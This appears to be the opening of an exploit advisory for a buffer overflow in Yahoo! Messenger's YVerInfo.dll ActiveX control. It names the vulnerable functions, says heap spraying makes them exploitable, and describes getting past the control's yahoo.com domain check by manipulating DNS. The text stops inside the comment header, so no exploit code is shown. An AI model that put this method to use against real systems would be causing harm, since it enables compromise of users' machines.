Yahoo! Messenger ActiveX Buffer Overflow 2007.8.27.

<!--
Yahoo! Messenger (YVerInfo.dll <= 2007.8.27.1) ActiveX Control Buffer Overflows

update YM : http://messenger.yahoo.com/security_update.php?id=082907

Functions : fvcom or info;
RegKey Safe for Script: True 
RegKey Safe for Init: True
-> that functions are safely scriptable and exploitable by HeapSpray Technique

Tested : Windows XP Professional SP2 all patched,Internet Explorer 7

That functions within this class can only be called if the control believes it is being run from the yahoo.com domain. -> I used "Simple DNS Plus" for manipulating the DNS resolution.

I saved this file (exploit.htm) into directory root (web server) 
and I exploited with link : http://www.yahoo.com/exploit.htm
